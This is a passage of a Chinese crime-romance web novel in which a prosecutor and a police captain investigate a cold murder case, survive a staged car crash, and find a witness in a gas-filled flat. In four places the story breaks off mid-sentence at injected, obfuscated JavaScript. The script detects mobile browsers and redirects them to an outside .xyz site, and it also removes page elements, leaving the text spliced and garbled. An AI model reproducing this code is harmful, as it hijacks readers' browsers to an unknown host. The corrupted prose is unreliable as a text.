“我还是理解不了你们那些情怀。不过你的事就是我的事,放心好了,我会尽力。”陈嘉朗懒懒地倚在他家的全真皮沙发上,“你还没有评价我刚装修好的这栋大跃层。” “挺好,够大够漂亮,可惜不是我的。” “等我快死了就立遗嘱,让你做指定继承人。” “那你还是现在就赠与过户给我吧,我不介意多交点税。”应泊直言不讳,“别让等待成为遗憾。” 事态发展到现在已经超出他的预料,他本不打算与支队共享太多信息,但路从辜明显并不允许他这么做。在他眼里,路从辜本人固然是值得信任的,却无法保证支队内部是铁板一块。这股势力用得好是一支奇兵,用得不好就是玩火自焚。 “走一步看一步吧。”应泊干脆不想了,“……他大概又没吃饭。” 几天的合作下来,支队的人对应泊都已经相当熟稔,连门卫岗亭里听评书的大爷从小窗口瞥见他的车,都会直接抬杆放行,想来应该是路从辜提前打过招呼了。 “路队在办公室。” 擦肩而过的民警好心地提醒他,应泊微笑着点头致谢。办公室的门是虚掩着的,应泊礼节性地敲了敲,便推开门走了进去。路从辜正翻阅着案卷,见他到来停下了手上的工作。 “你回学校了?” “嗯,有一个普法进校园的活动,去给他们开了个讲座。”应泊将手里的糕点放在桌子上,“路上买的,先垫垫肚子。我预定了一桌菜,一会儿叫上肖恩和方彗一起吃。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057749|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这……太客气了,我们将就一下就好。” “我已经定好了,由不得你。”应泊语气略强硬了些,神情却依然温和。路从辜也不再推辞,合上案卷放在一边,擦擦手,拣出一块糕点咬了一口。 应泊的目光不经意落在他的唇上,笑问:“怎么样,还是以前的味道吗?” “嗯,就是……分量比以前少了点。”路从辜把嘴里的糕点咽下去,喝了口水,“话说回来,去学校开讲座这种事也归你们负责吗?” “本来是未检的活儿,就是未成年人检察,但是现在的校长一听说我以前是望一的学生,就点名要邀请我回母校宣讲,普法倒是次要的。”应泊叹气说,“正好这两天学生们都考完试准备放假了,才抽出时间安排了这次活动。” “感觉怎么样?” “我看到新建起来的体育馆了,还进去转了一圈,比我本科那个校区的体育馆都漂亮。感觉学生们的压力比咱们那时候还大,我们一群人走在路上,有两个学生路过,怀里都抱着一摞一摞的卷子。我还听见他们议论我是不是教育局来的人,其中一个说教育局的应该不穿这身衣服……” 路从辜听他漫漫地叙说着,嘴角微微勾起一丝自己都没意识到的笑意。 “我能给他们讲点什么啊,讲我上课打盹,讲临到开学抄作业,还是讲——” 应泊像悬崖勒马一样突然住了口。路从辜没意识到不对,随着他的话一起陷入了回忆,又猛地被扯回到现实。 “没什么。”应泊脸颊可疑地发红,“对了,你叫我来,是有什么进展了吗?” 路从辜固然觉得古怪,但没有追问下去,回答说:“死者很有可能就是蒋威,接下来要找到他的母亲做DNA。我梳理了一遍案情,有一些问题要问你。” 应泊点头肯定:“我也觉得就是他。” “据你所说,蒋威涉及的并不只有这一件案子,还有十七年前发生在益青区绍青村的□□杀人案。蒋威曾因入室抢劫致人死亡在当地的朝阳监狱服刑,符合证人所描述的嫌疑人形象,具有作案的可能。或许是因为他身上有什么不可告人的秘密,他背后的人为了保他,出面将祸水引向了死者同村的马维山。而这个马维山,就是当年蒋威所犯那起抢劫案的证人,所以诬陷马维山的目的,很可能是对他作证一事的报复,或者纯粹是想让他闭嘴。” 应泊默认了他的推理。 “但是,我算了算年份,奸杀案案发的时间内,蒋威还有三年的刑期才出狱,在作案时间上存在问题,这一点怎么解释?” 应泊反问道:“你听说过‘零星犯‘这个制度吗?” 路从辜摇头。 “表现良好的罪犯,只要支付一定的费用,就能离开监舍劳动,在一定范围内和外界接触,这种罪犯被称为零星犯。我去朝阳监狱了解过,那里曾经也有类似的制度。但是由于时间过去太久,他们并没有留下详细的记录。” “你知道,检察机关虽然具备侦查权,但能够管辖的受案范围和可以行使的职权都非常有限。我当时在三部任职,主要负责的是职务犯罪,侦查重点不在案件本身,即便我的行为已经越权,能搜集到的线索也只有这么多。再加上后来得知蒋威死在了那场车祸里,我的调查也就因此中断了。” “别光顾着听我说。”应泊伸手在路从辜眼前晃晃,“接着吃啊。” 路从辜听话地往嘴里塞了几口糕点,两腮都鼓鼓的:“车祸这件事我会跟交警队核实。可是,即便你的推断都能够被证实,也没有任何直接证据可以捶死蒋威就是奸杀案的凶手,甚至连证据链都很难形成。” “我特地找益青区刑侦大队的法医了解过,尽管当时迫于某些压力草草结案,他们依然还保存着当年死者体内的精斑,这份精斑也可以用来比对。” “但是要尽快。”应泊不无忧虑地说,“马维山出狱之后,这件案子也闹得沸沸扬扬,我担心会有人暗中对证据动手脚。” “好,我清楚了。最后一个问题,你为什么要追查那起抢劫杀人案?是有什么隐情吗?” “准确地说,我追查的并不只是这一件案子,这件事还得从我师父那儿说起。”应泊准备将一切缘由道来,“前年我还在基层院工作的时候,她收到了一封匿名举报信,信中说当时蒋威并不是为了抢劫而杀人,而是为了替人灭口。也就是说,这起案子从定性上就错了……” 10. 牵线 “你怎么了?” 应泊反锁上门,站在玄关看着像一块抹布一样瘫在沙发上的张继川:“论文被拒了?” 张继川两眼无光,僵硬地摇头。 “要延毕了?” 张继川仍然摇头。 “导师进去了?” “越说越离谱了。”张继川起身,盘腿坐着,“我问你,你这几天为什么这么晚才下班?” 应泊不明白他为什么突然查岗,没有立刻回答,打算再听听他要说什么。 张继川神神叨叨地:“还是说,你故意下班之后不回家?你干什么去了?” “哥们儿,我是单位办案骨干,我要工作。还有,这是我家,我想几点回来就几点回来,很正常吧?” “有道理。”张继川听了,像是突然被抽干了精神,又一次瘫倒,口中反复念叨,“是啊,你们都有工作,只有我没有工作……只有我没有……只有我……” “我不管你是谁,你现在马上从张继川身上下来!”应泊正色道。他一边说一边冲进阳台,拎着一根晾衣杆就要往张继川身上抡,吓得张继川一个鲤鱼打挺直接蹿下沙发:“别别别,我没中邪,我就是……” 应泊把晾衣杆杵在地上:“说吧,你就是怎么了?” 张继川拿过晾衣杆放到墙角,拽着应泊坐下,两手按住他双肩,深呼吸几次才开口: “我问你,你们部门是不是新来一个检察官助理?” “是啊,你怎么知道的?” “你先别管我怎么知道的——你觉得她人怎么样?我是说长相啊性格啊这些……嗯,你应该能理解。” 应泊直视着张继川的眼睛,不笑也不言语,半晌,他突然暴起:“我晾衣杆呢?!” 张继川被追得抱头鼠窜,只好钻进卧室,在门缝里露出一个脑袋:“你你你冷静一下,我是个书生,我打不过你!” “什么时候开始的?” “没多久,刚聊上,那天她从咱们那个群加上我,就、就……” “我跟你说了多少遍了,辞职了就从工作群里滚出去。”应泊咬牙切齿,“你再不走我就直接踹了,早晚得让你泄点密出去。” “好好好,需要用我的时候说我是荣誉二部人,用不上我了就让我滚出去。”张继川也不理解应泊为什么会这么大反应,“不是,到底怎么了啊?都成年人谈个朋友怎么了?” 应泊长叹一声:“我说为什么年年搞反诈年年那么多人被骗,原来上当的都是你这种人。她都问你什么了?” “我告诉她我辞职了,现在在读书,她就问了问我为什么要学医,读博累不累,多的都没问,我也没说,嘴特严实。” “放长线钓大鱼。”应泊笃定地说,“一定是。” “你这是以小人之心度君子之腹!她能从我一个学生身上钓出什么来?” “你现在是学生,你一直都是学生吗?”应泊也没力气再跟他折腾了,转身坐回沙发,“都聊上了,你刚才为什么那副样子?” 张继川赔着笑从卧室里出来:“我这不是担心她身边都是你这样社会经验丰富的成熟男人,看不上我一个没工作还啃老的毛头小子嘛。快跟我说说。” “只评价这个人的话,挺秀气,挺懂礼貌一个小姑娘,也有眼力见,上头点名让我带。”应泊脸色一变,“想了解就把人约出来聊聊啊,我天天从早忙到晚,还得想办法给你俩牵线?” “我这不是觉得这么快就约人家出来太仓促嘛。你都从早忙到晚了,也不差这一件小事,就当日行一善。” 应泊不吱声,张继川就苦苦哀求:“求求你了哥,求求你,你是我亲哥,咱俩认识这么久我没求过你什么事,你就了了兄弟这么个愿望吧。” “真喜欢?” “真喜欢,你也知道,哥们儿单了好几年,第一次这么喜欢。” 应泊受不了他软磨硬泡:“啊行行行,我想想办法。你这个时间来找我不会就是为了这点事吧?” “当然不是。”张继川当即否认,“我还没吃饭,你上次做的那个炸酱面挺好吃的,我有点馋了。” 应泊又叹了一声:“回头记得让你爸把托管费交了,我要现金。” 他才起身,又被张继川按了回去。应泊有些不耐地迎上张继川审视的眼神,便见张继川抽了抽鼻子,紧紧拧着眉头思忖:“你身上有烟熏火燎的味道,不止,还有酒气。说,你去哪儿了?” “跟陶检出去应酬了,体制内,很正常吧?”应泊这谎撒得脸不红心不跳。他的思绪却无法自控地回溯到几个小时前,饭桌上几人聊得兴致正酣,便点了几瓶酒小酌起来。 “我……我不喝酒的。”路从辜的脸因为酒精泛起红晕,“今天特殊。” 他说今天特殊。 这样想着,应泊的嘴角忍不住漾起一丝淡淡的笑意,但他很快发觉,强压了下去,又装出一副云淡风轻的样子。 “什么人物能让你们两个一起去招待?”张继川显然不信,“连兄弟都骗?你不对劲。” 思绪被一次次打断,应泊本就不安定的心境更躁动了,再开口时也没什么好气: “爱信不信。” 他直接推开张继川,径直进了厨房。 应泊一向是习惯关起门来办公的,他的办公室对面就是电梯,人来人往难免嘈杂。唯独这一天,从早上进到办公室开始,他便将门大敞开来。坐在办公桌后面,借着电脑的掩护,他时不时望着路过的徐蔚然出神。 书记员路过,轻声问:“应科,我帮您把门关上?” “不用,开着通通风吧。” 侯万征抱着案卷进来,一屁股坐在他办公桌上:“啧,多大人了,还盯着人家小姑娘看。” 他故意说给门外听,随即凑近了应泊小声说,“你要是不想让她跟着你,我就想想办法调我那边去。” “太明显了。把她支走肯定还有人顶上,过不了两天咱这儿就成筛子了。”应泊否决了他的方案,“都摸到川儿那里去了,俩人打得火热,我又不好直接跟川儿挑明。” “好么,才来几天啊,这招够毒的。川子可不聪明,防不住套话。” 应泊愁得眉头紧锁:“好在川儿家世背景摆在这里,轻易没人敢动他,人身安全不用担心。他还托我帮忙牵线让俩人见个面,我也没干过这种活。总不把她带在身边,又难免让人怀疑。慢慢想办法吧,不能急于一时。” “红娘还不会当么。”侯万征嗤笑一声,“夏科那儿都还好吧?” “夏科?夏处!”应泊纠正他。侯万征连忙打嘴:“是,说顺嘴了,现在是夏处。” “她一切安好。卓尔也放假了,现在应该还不至于对孩子下手。”应泊突然眼前一亮,“卓尔……对,卓尔,我想出来了。” * 下午三四点正是最困乏的时间。徐蔚然打着哈欠迈进应泊的办公室,双手叉腰问: “怎么啦师父?总算找到我能做的工作了?” 自从徐蔚然被调入业务部门,虽然明面上是跟着应泊学习锻炼,但绝大多数工作都是应泊一肩挑,一人小作坊高强度作业。风卷残云地处理完实体性的主要工作后,他还会好心地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057750|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丢点边角料给徐蔚然,让她不至于每天坐在办公室干瞪眼。 而且,他的态度还摆得相当客气:“你要是不忙的话,帮我完成一下这些吧。” 适当的清闲有益身心,但太过清闲就容易让初来乍到的新人如坐针毡了。徐蔚然被逼得没办法,只好跑到其他员额那里讨些任务来做。 “跑一趟刑警队。”应泊正在收拾案卷,“你现在没在忙吧?” “在学着写审查报告,不过不急,侯科让我慢慢写。” “审查报告?你登我的号,上面有模板,你可以参考一下。” “嗯呐,这些侯科都告诉我了。”徐蔚然点点头。她背着手,凑近应泊的办公桌,似笑非笑地问: “师父,你真打算带我去啊?” 应泊坦然地迎着她的目光看回去,两手一摊:“那能有假?” “那……我们几点能回来?我不想加班。”徐蔚然扭扭捏捏地。 “说不好,要是非加班不可的话,晚饭我请了。”应泊摆出一副阔气的样子,“放心吧,你去问问他们,自打我上任以来,他们可一天班都没加过,都是我亲力亲为。” 虽然是公务行程,应泊却没有开公车,而是到地下车库提走了自己的私车。绅士地帮女士拉开车门,他还不忘问一嘴: “对了,你是会开车的,对吧?” 即便不懂他这问话的含义,徐蔚然还是配合地点点头:“会,就是不太熟练,不赶早晚高峰还是没问题的。” “那就好。”应泊意味不明地笑笑,“上车吧,这次我来。不过我腰不好,要是有动弹不了的那天,就得你来开了。” 师徒二人开着车火急火燎地冲进刑警队时,路从辜已经带着人候在了办公楼下。应泊随意找了个车位停车,下车迎了上去。 “这位,刑侦支队队长路从辜,叫路队就好,这两位是肖警官和方警官。”他代为介绍,“她是我的检察官助理徐蔚然,还是新人,大家多照顾。” 双方彼此颔首致意。路从辜按动车钥匙,走在前面: “走吧,刚好兵分两路,肖恩跟方彗单独一辆车。” 话音才落,应泊的手机嗡嗡振动起来。他忙歉意地一笑,接起电话:“喂,卓尔?” “哥——”电话那边是夏卓尔埋怨的话音,“不是说带我去吃饭吗,你人呢?” 应泊的神情陡然变得慌乱,说话也结结巴巴地:“呃……那个,卓尔,哥哥现在有工作,暂时抽不开身,不好意思啊。” 他的目光偶然掠过身边的徐蔚然,眼中霎时一亮,转而同夏卓尔商量: “这样吧,我让一个姐姐去接你,可以吗?” “姐姐?还有这种好事?”夏卓尔相当配合,“那我可太乐意了。” 应泊松了一口气:“好,那就这么定了,你别乱跑,等姐姐过去。” 匆忙挂断电话,不顾徐蔚然的意见,应泊不由分说地把自己的车钥匙塞给她:“帮我接一下孩子,她就在望海一中后面的广场,现在应该刚补完课。” “哎,不是——”徐蔚然被他推到车前,还想说些什么,应泊一个转账直接把她所有的话都堵了回去。徐蔚然低头看着聊天记录,不由得瞪大了眼睛: “五百?” “拿着,想吃什么随便点,不够再找我报销。”应泊放软语气请求,“麻烦了,我妹妹很乖的,你不用担心。” 等徐蔚然拿着车钥匙开走了自己的车,应泊鬼鬼祟祟地跟到大门处,确认人和车都消失在了路口,才拧身跑回来,抬手招呼其他人: “快走!” 11. 尾随 “有人在跟踪我们。” 警车驶出支队约有半个小时,应泊蹙眉凝视着后视镜,轻声提醒路从辜。 路从辜也并非全无发觉。自从上了外环线,一辆黑色越野车似乎一直不远不近地缀在他们车后,他几次想要加速甩掉,在车流里腾挪移转,却总能被对方追赶上来。 支走徐蔚然后,他们仍然选择兵分两路。这边二人一同去询问蒋威的母亲,肖恩和方彗则走了另一条路前往益青区交警大队调取事故档案。路从辜斜睨了那车一眼,问: “我才刚参与,就被盯上了,你之前没少被跟过吧?” “还好。我一个人能做的很有限,还不至于让他们忌惮。” 应泊打开车窗,手指有意无意地敲着窗框,趁路从辜拉开距离的空当,他暗暗记下来那车的车牌号,道: “应该是套牌。” 起初路从辜以为只是巧合,或许对方恰好选择了与他们相同的路线。但那辆车总是能在路从辜变换车道或减速时迅速做出反应,这就让他很难不起疑了。 他联想到方才应泊对那位检察官助理客套又戒备的态度,心下了然,问: “出内鬼了?” “也不能算是内鬼,才来没几天,我想大概警告大于监视。”应泊也明白他问话的意思,无谓地摇摇头。 事已至此,甩掉麻烦的尾巴才最要紧。路从辜迅速扫视了一下车内,确认所有装备都在触手可及的位置,随后按下方向盘上的按钮,车辆的音响系统保持静音,只留引擎低沉的轰鸣。 “坐稳了。” 不待应泊回答,他便轻踩油门,缓慢提高车速,同时侧眼观察后视镜,留意跟踪者的反应。 果然,随着车速爬升,那辆车也毫不犹豫地加速跟上,距离再次被拉近。前方不远处的有个急转弯,路从辜心中暗自盘算,陡生一计。 他缓缓减速,而跟踪者似乎也放松了警惕,车速略有降低。就在这一刻,路从辜猛踩油门,警车一如脱缰的野马,沿着弯道疾驰而出,轮胎摩擦地面,发出尖锐的啸叫声。 应泊身子向后一仰,忍不住低呼了一声:“唔——” 后视镜中,那车显然被这突如其来的变速打了个措手不及,短暂的迟疑后,开始极力追赶。路从辜关闭了导航,在蜿蜒曲折的道路上左突右冲,而跟踪者似乎也发觉了他的意图,不断变换车道和车速,还打开了大灯,有意将他们驱赶到固定的路线上。 然而,一个红灯拦住了路从辜的去路。三个车道都有车辆挡在前面,任凭他如何鸣笛示警都不肯让开,路从辜只好老老实实停下来等待。 就在车内二人都焦躁地观察后车动向时,那车竟丝毫没有刹车的意思,直直撞了上来,巨大的推力将他们的警车撞出数米远,几乎碰上前车的车尾。路从辜下意识地踩住刹车,所幸二人都系了安全带,虽然还是结实撞上了方向盘和安全气囊,但好在都没有大碍。 “没事吧?”应泊首先查看路从辜的情况,而后解开安全带下车,双手叉腰踱至车尾。 “……疯了吗?” 警车后保险杠已经凹陷进去,尾灯碎片散落一地,车牌也因为撞击而弯折。黑色越野车的引擎盖微微隆起,中央部分凹陷下去。前保险杠完全脱落,露出了保险杠后方的冷却系统和部分发动机组件,大灯虽然还亮着,但左边的已经破裂,车标和车牌同样扭曲变形。 两车之间,一条明显的刮痕横跨路面。后车仿佛对事故无动于衷,司机仍旧坐在车里,连车窗都没打开。应泊心下一股无名火起,走上前去,大力敲打着车窗: “下车,没看见追尾了吗?” 隔着防窥膜,应泊也能通过那隐隐的影子看出车主体型壮硕,剃个寸头。他旋即在脑海中搜寻符合特征的可能人物,却是半点头绪都没有。 双方僵持半晌,等到应泊耐心将近耗尽,车主才打开车窗,赔着一张笑脸: “抱歉抱歉,开车的时候走神了——没受伤吧?” 吊梢眼,悬胆鼻,满脸横肉,左脸一道疤,确实没见过。应泊故作不经意地向车内望去,算上驾驶室内的司机,车内总共三人,俱是一身不怀好意的煞气。副驾驶的男人大约二十岁出头,沉不住气,目光不住地游移,恰好与应泊审视的淡漠眼神碰个正着,立刻警觉地收回右手覆在腰边。 是刀吗? 应泊眼神一凛,心知现在不是跟他们纠缠的时机。他回转身子,向警车高声道: “从辜,引擎没问题吧?” 见他久久没有回到车上,路从辜也开门打算下车,一条腿才迈出来,便被应泊一个眼神拦住。他一手撑着车门,回答说: “没问题,还能起步。” “我已经给交警队打电话了,应该马上就到。”司机倒是一改方才跟踪时的嚣张气焰,下车拉着应泊赔礼,“确实是我们的问题,我道歉,您说怎么赔我们就怎么赔,都听您安排。毕竟撞的是警车,我也担心万一处理不好,后续还有麻烦。” 伸手不打笑脸人,应泊固然憋了一腔火气,此刻也不好再发作。他不动声色地甩开司机的手,习惯性地指挥道:“去把警告标志摆上,再把驾驶证和行驶证交给我们过目。” 不知为何,交警队出警速度比他们预料的慢了许多,硬生生拖了将近一个小时还没抵达现场。应泊等得心焦,那越野车上的三人却越发地好整以暇,坐在车上似笑非笑地望着他,以至于应泊甚至产生了一种莫名的直觉——他们就是在故意拖时间。 路从辜反复端详着司机的证件,心中若有所思。半晌,他远远呼唤应泊: “上车坐会儿吧,外面冷。” 听出了他的弦外之音,应泊不甘心地剜了一眼那车上的三人,转身快步回到副驾驶,又换作一副温和的神色: “怎么了?” 路从辜指着驾驶证上司机的照片和名字,语气笃定:“这个司机,我见过他。两年前的605爆炸案,你听说过吗?” “略有耳闻,你就是从那件案子开始崭露头角的。”应泊稍稍颔首,声音略压低了些,“至于具体的案情,我就不太清楚了。” 路从辜开口欲言,一阵警笛声却横插了进来,打断了他,他只好暂时止住这个话题: “有时间再细说。” 那辆“飞驰而来”的警车停在车祸现场不远处,几个交警陆续从车上下来,为首大腹便便的显然是个领导,径直向着他们的警车走来,主动跟路从辜握手,满面春风: “呀,路队,我刚开会呢,一听说咱支队的警车被追尾了,得,这会也甭开了,马上就赶过来。怎么个事儿?没受伤吧?” 简单的寒暄后,路从辜介绍道:“交警大队王队长。” 应泊思忖着那一番有些热情过头的客套话,上下打量了这位王队长一眼,终究没说什么,只是同样报以微笑: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057751|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “市检察院第二检察部,应泊。” 而那越野车上的三人见交警来了,也纷纷下车,王队长见状马上改换了神情,张口便斥责道: “你们没长眼吗?警车都能撞上?” “尽快处理吧,我们还有公务。”看出做戏的成分更大一些,路从辜有些不耐地催促他,“肖恩在你们那儿吧?” “肖队在的,您嘱咐的事我已经安排人去帮忙了。”王队长自然而然地揽着二人的肩膀,把他们推向自己的车,“走吧,有什么事回单位再说。” 事故责任认定十分顺利,越野车司机一口承认是自己开车看手机导致追尾,也愿意承担全责。事发蹊跷,过程也蹊跷,应泊和路从辜对了个眼神,默契地决定暂且把越野车跟踪尾随的事情咽回肚子里。 肖恩腋下夹着一本案卷,嘴里哼着小曲儿从门口经过,他向房间内瞥了一眼,恰好发现配合调查的二人。他敲了敲门,二人应声抬头,一同起身离开,顺手带上了房间的门。 “头儿,应检,动作这么快?老太太说啥了?” “车被追尾了,根本没来得及过去。”路从辜耸耸肩,无可奈何道,“看样子,最快也得晚上再过去了。” “被追尾了?谁这么不长眼?”肖恩瞪大了眼睛。 “唉,意外嘛,都难免。好在流程都走完了,还算顺利,不过——”应泊叹了一声,“太顺利了,总感觉……” 有哪里不对。 方才发生的一切如潮涌一般撞入脑海,应泊紧抿着唇,面色渐渐凝重。他们刚离开支队不久便被陌生车辆尾随,而后在白天宽阔的快速路上发生追尾事故,肇事者还是有十几年驾龄的司机。并且,双方还未交换身份信息,对方已经报了警,交警队先是拖泥带水地不肯出警,后来却又如同早已了如指掌一般快速处理现场。 会有这么巧合的事吗? 路从辜和肖恩都发觉了他的异常,眼中闪过一丝疑惑。应泊将他们揽进怀里,凑到耳边低声说: “只是一个报警电话,他们怎么知道出事的是刑侦支队的车?” 跟踪不是目的,拖延时间,阻挠他们行动才是。 他定定地同路从辜对视,一字一顿道:“我们……可能中计了。” 话音堪堪落地,他一把拉住路从辜跑出交警大队,随机拦下一辆出租车,直奔蒋威母亲的住址,路上还不忘拨打120急救电话。 天色已晚,出租车停在一栋老旧居民楼的入口前,老太太就住在这一栋的四楼。二人三步并作两步,沿着狭窄而昏暗的楼梯向上攀登,一种独属于老建筑的陈腐、发霉与潮湿的异味钻入鼻腔。 终于来到门口,外层的铁门没有上锁,应泊暗道不好,小心翼翼地敲敲门,又提高音量向屋内呼喊: “奶奶,开门,是刑警队和检察院,之前跟您约好今天见面的。” 没有人回应,楼上楼下一片死寂,耳边唯有彼此的呼吸和远去的汽车轰鸣。应泊踌躇片刻,抬眼看向路从辜: “撞门吗?” 已经不需要回答了。二人一同后退几步,同时发力,朝着里面那扇紧闭的木门撞去。门轴在巨大的冲击力下发出“吱嘎”一声响。一下,两下,三下,门板猛然向内倒塌,扬起一阵尘土,一股混合着硫磺与金属锈蚀的呛鼻气息扑面而来。 “别开灯。”应泊近乎本能地把路从辜护在身后,“是煤气。” 12. 道与魔 煤气那浓烈的异味溶在屋内的暖风里,门一开便向外无限膨胀,刀片一样划过鼻腔,如同一只紧紧扼住喉咙的大手,激得二人直欲作呕。应泊极力抵抗逃离的冲动,想要迈入屋中,却又无法忽视气味所带来的生理反应——喉咙开始发痒,眼睛因刺激而微微泛红,甚至眼尾泛起了泪光。 “咳、咳咳……” 他用臂弯掩住口鼻,摸黑向屋内试探着行进。脚下一片狼藉,他的目光沿着玄关一直向内探索,昏暗的光线下,只见靠里的一扇门边趴着一个人影,大概就是他们要找的老太太。 应泊几乎不假思索地冲上去救人,路从辜动了动耳朵,随后一把拉住了他,将他按在墙边。应泊反应不及,后脑结结实实地砸在嵌在墙里的钉子上,忍不住痛呼出声,路从辜忙伸手死死捂着他的嘴: “嘘——” 早已含在眼眶中的眼泪因这猝不及防的刺痛夺眶而出,应泊一个常年坐办公室的文官,算不上细皮嫩肉,但也还不到皮糙肉厚的程度,痛得眼冒金星,却也只能屏住呼吸听路从辜要说什么。 温热的气息倏忽攀上耳垂,路从辜掌心因为握枪磨出的老茧也在不经意间摩擦着自己的脸颊,应泊难以自控地短暂失神,又被路从辜的话一下拉回现实: “外面有人。” 路从辜比应泊矮了几公分,平日里并不明显,眼下骤然拉近距离,彼此几乎脸贴脸,才发觉连耳语都要踮脚尖。 咫尺之间,路从辜也有些可疑的不自在: “你在这里,我——” 他话音未落,楼道里陡然传出一串窸窸簌簌的脚步声,听声音来自楼上。路从辜忙扫视房内一圈,只有门后一根半人高的拐杖看着顺手。他才把拐杖握在手里,顿觉耳后一阵劲风,余光瞥见一道寒光当头劈下,急回身用拐杖抵挡,“铛”的一声碰响后,木制的拐杖应声断裂。 那是一个斧头。 动作比思维更快,路从辜将折断的拐杖抵在那人面门,双臂发力将其顶出门外,随后又补上窝心一脚,那人手上脱力,斧头直接飞了出去,砍在楼道墙上。那人见势不妙,也不纠缠,转身向楼下奔逃,路从辜随即追了上去。 “站住!” 屋内惊魂未定的应泊深吸了一口气,方才那斧头就擦着他的脸颊劈下,要是躲闪不及时,很可能他的胳膊就不保了。唯恐破坏现场,他脱下鞋子,小心翼翼找到厨房关掉煤气阀门,又回到客厅打开窗子通风,顺便观察楼下的情况。 也许是担忧有后手,路从辜并没有追得太远,只追到单元门口就停住了脚步。那袭击者身量不高,动作却敏捷,几秒内便消失在了视野里。 路从辜站在楼下,给肖恩打电话,语气中到底还是有些不甘心:“马上带人过来,快!” 他折返回来,应泊已经把老人搬到了沙发上,正仔仔细细地用手帮老人清理堵在喉咙中的呕吐物。老人已经陷入了重度昏迷,四肢一直在抽搐痉挛,小便失禁,打湿了裤子。 说不上是嫌弃,但路从辜眼见这一幕,还是下意识缩了缩脖子。应泊却面不改色地照料着老人,时刻关注着老人的情况。 “奶奶,奶奶,还能听到吗?救护车马上就到了,撑住!” 迷蒙中,老人艰难地点点头。他又转向路从辜,颇有些庆幸道: “还有心跳和呼吸。” 两个人都心有余悸地坐在沙发的两边,长久无言。末了,应泊起身走到卫生间,缓慢地一遍遍清洗手上的秽物,思绪却还是麻木的。 路从辜知道他在想什么。但凡他们进来的时候随手打开了灯,或是拿出手机照明,以房间里的煤气浓度,刹那间擦起的电火花都能把这整栋楼炸飞。 当真是亡命徒。 而且,在自己参与进来之前,他已经孤立无援地与这群亡命徒周旋了一年。 一年,三百六十五天,像这样的蓄意谋杀他又经历过多少呢?如果这一年里他行事不够小心,如果有哪一次运气不好,自己是不是真的一辈子都再也见不到他了? 哗啦啦的水流盖不住应泊粗重的呼吸,一股莫名的情绪漫上路从辜的心。除了命悬一线的恐惧,还有一种难以言说的抽痛,路从辜非常清楚,如果不是真的走投无路,以应泊的性格,是轻易不会向其他人求助的。 就像他们之间那泯灭的十三年一样。 救护车的警铃声打破了屋内死一样的寂静。应泊全身一震,缓缓关上水龙头,垂头收拾好情绪,又换上了那副让人如沐春风的温柔笑意: “走吧,我们去医院。” 目送老人被送进抢救室吸氧,路从辜筋疲力尽地坐在医院走廊里。应泊自从进了医院便没了踪影,发消息也不回,路从辜只好随他去了。 不一会儿,楼梯口现出一个穿制服的影子,应泊手上拎着一个塑料袋,慢悠悠地坐在他身边。路从辜开口便道: “肖恩已经带人把现场围起来了,正在走访周边群众。” “好。”应泊低低地应了一声,“手腕。” “嗯?” “手腕给我,我帮你上药。” 不待他回答,应泊便不由分说地攥着他的手腕,解开袖口的扣子,皮肤上赫然横着一道血淋淋的伤痕,边缘还有一圈淡淡的淤青。 “自己没发现?” 路从辜怔了一下,局促地想抽回手,却被应泊按住,他不由得失笑道: “小伤而已,待会儿去挂个号包扎一下就好。” “你会老老实实地去挂号?” 言语间,应泊已经拆开了碘伏药水,用棉签蘸取一点涂在伤口上。他动作极轻柔,头顶的白炽灯光打下来,却照不进他眼底那片深邃的寒潭,叫人实在参不透他在想什么。 很熟悉的侧颜。十三年前,同样在医院,他也是这样认认真真地帮自己上药。那时候他还穿着望海一中松松垮垮的校服,为了自己特意向班主任撒谎请了半个多月的晚自习假,放学后踩着单车风风火火地赶到医院,把书包随意地往病房地上一扔,再—— 可……那都是过去的事了。 已经十三年了,时间是一条难以逾越的鸿沟,被世故的沙砾打磨了这么久,他们都不再是当年一张口就是永远的愣头青了。 连风都闯不进来的静谧中,应泊忽地开口: “对不起。” 路从辜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057752|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 